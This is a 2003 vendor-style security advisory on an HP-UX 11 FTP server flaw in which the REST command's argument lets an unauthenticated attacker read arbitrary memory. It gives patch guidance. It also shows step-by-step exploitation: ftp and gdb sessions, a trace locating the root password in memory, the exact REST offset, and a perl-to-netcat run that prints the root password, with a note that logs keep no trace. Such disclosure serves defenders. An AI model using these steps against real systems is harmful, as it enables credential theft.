Secure Network Operations, Inc.           http://www.secnetops.com
Strategic Reconnaissance Team              research@secnetops.com
Team Lead Contact                      kf@secnetops.com


Our Mission:
************************************************************************
Secure Network Operations offers expertise in Networking, Intrusion 
Detection Systems (IDS), Software Security Validation, and 
Corporate/Private Network Security. Our mission is to facilitate a 
secure and reliable Internet and inter-enterprise communications 
infrastructure through the products and services we offer. 


Quick Summary:
************************************************************************
Advisory Number    : SRT2003-06-05-0935
Product      : HPUX FTP server
Version      : Version 1.1.214.4
Vendor      : http://www.hp.com
Class      : Remote
Criticality             : High
Operating System(s)  : HPUX 11


High Level Explanation
************************************************************************
High Level Description  : Remote unauthenticated file viewing via ftpd
What to do    : Install HPUX patch PHNE_21936 or higher


Technical Details
************************************************************************
Proof Of Concept Status : Secure Network Operations does have PoC code
Low Level Description  : 

The ftpd that comes default with HPUX 11 is vulnerable to an attack that
will allow an attacker to view the contents of any file on the system
without first authenticating. This is subject to first getting the file
into memory. 

This issue occurs in the REST command. REST is intended to allow the user
to restart an upload or download from a previous location. If for a user
was for example disconnected from the internet he or she could resume 
the session where he left off at a later time. The argument that is passed 
to the REST command can be used to specify a memory address to read from. 
This allows an attacker for example to easily read the root password from 
memory. 

Since the source code for the HPUX ftpd is not at my disposal I can only 
make an assumption on the origin of this bug. After fully exploiting the
issue I did run across a small bullet in a patch log which appears to 
point out the cause of the problem. 

In the text description for HPUX patch PHNE_21936 I found the following.

PHNE_18377:
The wrong conversion character was used in the format string to define 
the filesize.

Resolution:
The conversion character in the format was changed to the offset_uformat 
macro.

When exploiting this issue I noticed the offset_uformat macro seems to 
be used when presenting the user with data about the restarted session.
Due to the bad use of a conversion character and the connection with 
offset_uformat I felt there was a good chance this caused the problem. 

If we take a look in gdb we can see how this bug becomes exploitable. 

 frieza elguapo $ ftp 192.168.1.111
 Connected to 192.168.1.111.
 220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready.
 Name (192.168.1.111:root): elguapo
 331 Password required for elguapo.
 Password:
 230 User elguapo logged in.
 Remote system type is UNIX.
 Using binary mode to transfer files.
 ftp> rest 1111111111111111
 restarting at 2147483647. execute get, put or append to initiate transfer
 ftp> get .
 local: . remote: .
 200 PORT command successful.

# gdb /usr/lbin/ftpd 2862
GNU gdb 4.18-hppa-991112
Copyright 1998 Free Software Foundation, Inc.

/home/elguapo/2862: No such file or directory.
Attaching to program: /usr/lbin/ftpd, process 2862

Unable to find __dld_flags symbol in object file.

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xc00ef0b8 in ?? ()
(gdb) bt
#0  0xc00ef0b8 in ?? ()
Error accessing memory address 0x7fffffff: Bad address.

(gdb) info registers r3 r11
        r3: 7fffffff
       r11: 7fffffff

For some reason we are trying to read from the address 0x7fffffff. If 
we try different offsets for the REST command we discover that we have
full control of the address being read. In gdb this address can be 
found in both r3 and r11. Below you see the result of trying different
addresses. The value that is stored in r3 will later be used in a call 
to write() . 

 ftp> rest 200000
 restarting at 200000. execute get, put or append to initiate transfer
 ftp> get .
 local: . remote: .
 200 PORT command successful.

 Program received signal SIGSEGV, Segmentation fault.
 0xc00ef0b8 in ?? ()
 (gdb) bt
 #0  0xc00ef0b8 in ?? ()
 Error accessing memory address 0x30d40: Bad address.

 ftp> rest 200002
 restarting at 200002. execute get, put or append to initiate transfer
 ftp> get .
 local: . remote: .
 200 PORT command successful.

 Program received signal SIGSEGV, Segmentation fault.
 0xc00ef0b8 in ?? ()
 (gdb) bt
 #0  0xc00ef0b8 in ?? ()
 Error accessing memory address 0x30d42: Bad address.

 ftp> rest 200004
 restarting at 200004. execute get, put or append to initiate transfer
 ftp> get .
 local: . remote: .
 200 PORT command successful.

 (gdb) bt
 #0  0xc00ef0b8 in ?? ()
 Error accessing memory address 0x30d44: Bad address.

You should note that the address that is being read from seems to be 
incremented as we increment the REST offset. 

At this point we only need to find a good section of memory to try to 
read from. I figured out rather quickly that when attempting to login
to the ftpd the root password is obviously put in memory. After a bit
of tracing through system calls I found the address that the password 
was stored at and simply supplied that address via the REST command. 
The result of that exercise can be seen below. 

During authentication the following occurs. 

 open("/etc/passwd", O_RDONLY, 0666) [entry]
 open("/etc/passwd", O_RDONLY, 0666)
 ioctl(5, TCGETA, 0x7f7e61b8)[entry]
 ioctl(5, TCGETA, 0x7f7e61b8)ERR#25 ENOTTY
 read(5, 0x4002fe10, 8192)[entry]
 read(5, 0x4002fe10, 8192)= 454
    r o o t : m y r o o t p a s s w o r d : 0 : 3 : : / : / s b i n /
    s h \n d a e m o n : * : 1 : 5 : : / : / s b i n / s h \nb i n :

The address 0x4002fe10 should now contain the root password. This is the
address that we should put in the r3 register. REST 1073937936 should
do the job. A simple perl script serves the purpose of an exploit. 

 frieza root # (./HPUX_rest2.pl;cat) | nc 192.168.1.111 21
 220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready.
 331 Password required for root.
 530 Login incorrect.
 350 Restarting at offset_uformat. root:myrootpassword:0:3::/:/sbin/sh\n 
  daemon:*:1:5::/:/sbin/sh\n bin:
 ...

You will notice that the root password is printed to the screen as part of 
the restart information. We have now successfully exploited this issue.

Unfortunately there is zero information left in log files for tracking the 
attacker. Below is an example of what you would see in syslog. 

Jan  1 07:34:53 kakarot ftpd[2138]: pam_authenticate: Authentication failed
Jan  1 07:34:53 kakarot ftpd[2138]: User root: Login incorrect
Jan  1 07:34:53 kakarot ftpd[2138]: FTP session closed

I have not yet decided if HP fixed this issue on accident when they noted
the "wrong conversion character" was used in their code or if they were 
simply following suit with their usual policy of releasing information on
"Unspecified" and "Potential" holes. Regardless HP has put out a fix for 
this issue. I believe PHNE_18377 contained several other WU-FTPD fixes
so I am leaning towards the "Unspecified" / Silent fix. 

Patch or Workaround: Install HPUX patch PHNE_18377 or higher (PHNE_21936)
Vendor Status  : Vendor *accidentally* fixed this in PHNE_18377
Bugtraq URL  : to be assigned 

------------------------------------------------------------------------
This advisory was released by Secure Network Operations,Inc. as a matter
of notification to help administrators protect their networks against
the described vulnerability. Exploit source code is no longer released
in our advisories. Contact research@secnetops.com for information on how
to obtain exploit information.